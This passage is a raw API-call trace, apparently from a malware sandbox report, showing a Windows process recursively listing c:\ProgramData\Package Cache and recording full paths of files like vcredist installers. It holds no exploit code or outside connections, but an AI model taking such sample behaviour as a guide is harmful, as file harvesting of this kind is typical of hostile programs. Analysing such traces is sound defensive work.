returned="c:\\ProgramData\\Package Cache" [0121.413] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache", lpString2="\\" | out: lpString1="c:\\ProgramData\\Package Cache\\") returned="c:\\ProgramData\\Package Cache\\" [0121.413] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\") returned 29 [0121.413] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Package Cache\\*") returned="c:\\ProgramData\\Package Cache\\*" [0121.413] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Package Cache\\*", lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 0x825720 [0121.414] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0121.414] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.471] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0121.471] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0121.471] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.471] lstrcmpW (lpString1="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", lpString2=".") returned 1 [0121.471] lstrcmpW (lpString1="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", lpString2="..") returned 1 [0121.471] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\") returned 29 [0121.471] lstrlenW (lpString="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005") returned 49 [0121.471] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\", lpString2="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005" | out: lpString1="c:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005") returned="c:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005" [0121.471] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", lpString2="\\" | out: lpString1="c:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\") returned="c:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\" [0121.471] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\") returned 79 [0121.471] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\*") returned="c:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\*" [0121.471] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0x825760 [0121.472] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0121.472] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.472] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0121.472] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0121.472] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.472] lstrcmpW (lpString1="packages", lpString2=".") returned 1 [0121.472] lstrcmpW (lpString1="packages", lpString2="..") returned 1 [0121.472] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\") returned 79 [0121.472] lstrlenW (lpString="packages") returned 8 [0121.472] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\", lpString2="packages" | out: lpString1="c:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages") returned="c:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages" [0121.472] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0 [0121.472] FindClose (in: hFindFile=0x825760 | out: hFindFile=0x825760) returned 1 [0121.472] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.472] lstrcmpW (lpString1="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", lpString2=".") returned 1 [0121.472] lstrcmpW (lpString1="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", lpString2="..") returned 1 [0121.472] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\") returned 29 [0121.472] lstrlenW (lpString="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}") returned 38 [0121.472] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\", lpString2="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}" | out: lpString1="c:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}") returned="c:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}" [0121.472] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", lpString2="\\" | out: lpString1="c:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\") returned="c:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\" [0121.472] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\") returned 68 [0121.472] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\*") returned="c:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\*" [0121.472] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0x825760 [0121.472] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0121.472] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.472] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0121.472] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0121.472] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.472] lstrcmpW (lpString1="state.rsm", lpString2=".") returned 1 [0121.472] lstrcmpW (lpString1="state.rsm", lpString2="..") returned 1 [0121.472] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\") returned 68 [0121.472] lstrlenW (lpString="state.rsm") returned 9 [0121.472] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\", lpString2="state.rsm" | out: lpString1="c:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm") returned="c:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm" [0121.472] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm") returned 77 [0121.472] lstrcpyW (in: lpString1=0x24a9e88, lpString2="c:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm" | out: lpString1="c:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm") returned="c:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm" [0121.473] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.473] lstrcmpW (lpString1="vcredist_x86.exe", lpString2=".") returned 1 [0121.473] lstrcmpW (lpString1="vcredist_x86.exe", lpString2="..") returned 1 [0121.473] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\") returned 68 [0121.473] lstrlenW (lpString="vcredist_x86.exe") returned 16 [0121.473] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\", lpString2="vcredist_x86.exe" | out: lpString1="c:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe") returned="c:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe" [0121.473] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe") returned 84 [0121.473] lstrcpyW (in: lpString1=0x24a9f30, lpString2="c:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe" | out: lpString1="c:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe") returned="c:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe" [0121.473] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0 [0121.473] FindClose (in: hFindFile=0x825760 | out: hFindFile=0x825760) returned 1 [0121.473] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.473] lstrcmpW (lpString1="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", lpString2=".") returned 1 [0121.473] lstrcmpW (lpString1="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", lpString2="..") returned 1 [0121.473] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\") returned 29 [0121.473] lstrlenW (lpString="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030") returned 49 [0121.473] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\", lpString2="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030" | out: lpString1="c:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030") returned="c:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030" [0121.473] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", lpString2="\\" | out: lpString1="c:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\") returned="c:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\" [0121.473] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\") returned 79 [0121.473] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\*") returned="c:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\*" [0121.473] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0x825760 [0121.478] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0121.478] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.478] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0121.478] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0121.478] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.478] lstrcmpW (lpString1="packages", lpString2=".") returned 1 [0121.478] lstrcmpW (lpString1="packages", lpString2="..") returned 1 [0121.478] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\") returned 79 [0121.478] lstrlenW (lpString="packages") returned 8 [0121.478] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\", lpString2="packages" | out: lpString1="c:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages") returned="c:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages" [0121.478] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0 [0121.478] FindClose (in: hFindFile=0x825760 | out: hFindFile=0x825760) returned 1 [0121.478] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.478] lstrcmpW (lpString1="{3c3aafc8-d898-43ec-998f-965ffdae065a}", lpString2=".") returned 1 [0121.478] lstrcmpW (lpString1="{3c3aafc8-d898-43ec-998f-965ffdae065a}", lpString2="..") returned 1 [0121.478] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\") returned 29 [0121.478] lstrlenW (lpString="{3c3aafc8-d898-43ec-998f-965ffdae065a}") returned 38 [0121.478] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\", lpString2="{3c3aafc8-d898-43ec-998f-965ffdae065a}" | out: lpString1="c:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}") returned="c:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}" [0121.478] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}", lpString2="\\" | out: lpString1="c:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\") returned="c:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\" [0121.478] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\") returned 68 [0121.478] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\*") returned="c:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\*" [0121.478] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0x825760 [0121.479] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0121.479] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.479] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0121.479] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0121.479] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.479] lstrcmpW (lpString1="state.rsm", lpString2=".") returned 1 [0121.479] lstrcmpW (lpString1="state.rsm", lpString2="..") returned 1 [0121.479] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\") returned 68 [0121.479] lstrlenW (lpString="state.rsm") returned 9 [0121.479] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\", lpString2="state.rsm" | out: lpString1="c:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm") returned="c:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm" [0121.479] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm") returned 77 [0121.480] lstrcpyW (in: lpString1=0x24a9fe8, lpString2="c:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm" | out: lpString1="c:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm") returned="c:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm" [0121.480] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.480] lstrcmpW (lpString1="vcredist_x64.exe", lpString2=".") returned 1 [0121.480] lstrcmpW (lpString1="vcredist_x64.exe", lpString2="..") returned 1 [0121.480] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\") returned 68 [0121.480] lstrlenW (lpString="vcredist_x64.exe") returned 16 [0121.480] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\", lpString2="vcredist_x64.exe" | out: lpString1="c:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe") returned="c:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe" [0121.480] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe") returned 84 [0121.480] lstrcpyW (in: lpString1=0x24aa090, lpString2="c:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe" | out: lpString1="c:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe") returned="c:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe" [0121.480] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0 [0121.480] FindClose (in: hFindFile=0x825760 | out: hFindFile=0x825760) returned 1 [0121.480] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.480] lstrcmpW (lpString1="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", lpString2=".") returned 1 [0121.480] lstrcmpW (lpString1="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", lpString2="..") returned 1 [0121.480] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\") returned 29 [0121.480] lstrlenW (lpString="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017") returned 50 [0121.480] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\", lpString2="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017" | out: lpString1="c:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017") returned="c:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017" [0121.480] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", lpString2="\\" | out: lpString1="c:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\") returned="c:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\" [0121.480] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\") returned 80 [0121.480] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\*") returned="c:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\*" [0121.480] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0x825760 [0121.494] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0121.494] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.494] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0121.494] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0121.494] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.494] lstrcmpW (lpString1="packages", lpString2=".") returned 1 [0121.494] lstrcmpW (lpString1="packages", lpString2="..") returned 1 [0121.494] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\") returned 80 [0121.494] lstrlenW (lpString="packages") returned 8 [0121.494] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\", lpString2="packages" | out: lpString1="c:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages") returned="c:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages" [0121.494] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0 [0121.494] FindClose (in: hFindFile=0x825760 | out: hFindFile=0x825760) returned 1 [0121.494] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.494] lstrcmpW (lpString1="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", lpString2=".") returned 1 [0121.495] lstrcmpW (lpString1="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", lpString2="..") returned 1 [0121.495] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\") returned 29 [0121.495] lstrlenW (lpString="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017") returned 50 [0121.495] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\", lpString2="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017" | out: lpString1="c:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017") returned="c:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017" [0121.495] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", lpString2="\\" | out: lpString1="c:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\") returned="c:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\" [0121.495] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\") returned 80 [0121.495] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\*") returned="c:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\*" [0121.495] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0x825760 [0121.496] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0121.496] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.496] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0121.496] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0121.496] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.496] lstrcmpW (lpString1="packages", lpString2=".") returned 1 [0121.496] lstrcmpW (lpString1="packages", lpString2="..") returned 1 [0121.496] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\") returned 80 [0121.496] lstrlenW (lpString="packages") returned 8 [0121.496] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\", lpString2="packages" | out: lpString1="c:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages") returned="c:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages" [0121.496] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0 [0121.496] FindClose (in: hFindFile=0x825760 | out: hFindFile=0x825760) returned 1 [0121.496] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.496] lstrcmpW (lpString1="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", lpString2=".") returned 1 [0121.496] lstrcmpW (lpString1="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", lpString2="..") returned 1 [0121.496] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\") returned 29 [0121.496] lstrlenW (lpString="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017") returned 50 [0121.496] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\", lpString2="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017" | out: lpString1="c:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017") returned="c:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017" [0121.496] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", lpString2="\\" | out: lpString1="c:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\") returned="c:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\" [0121.496] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\") returned 80 [0121.496] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\*") returned="c:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\*" [0121.496] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0x825760 [0121.501] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0121.501] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.501] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0121.501] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0121.501] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.501] lstrcmpW (lpString1="packages", lpString2=".") returned 1 [0121.501] lstrcmpW (lpString1="packages", lpString2="..") returned 1 [0121.501] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\") returned 80 [0121.501] lstrlenW (lpString="packages") returned 8 [0121.501] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\", lpString2="packages" | 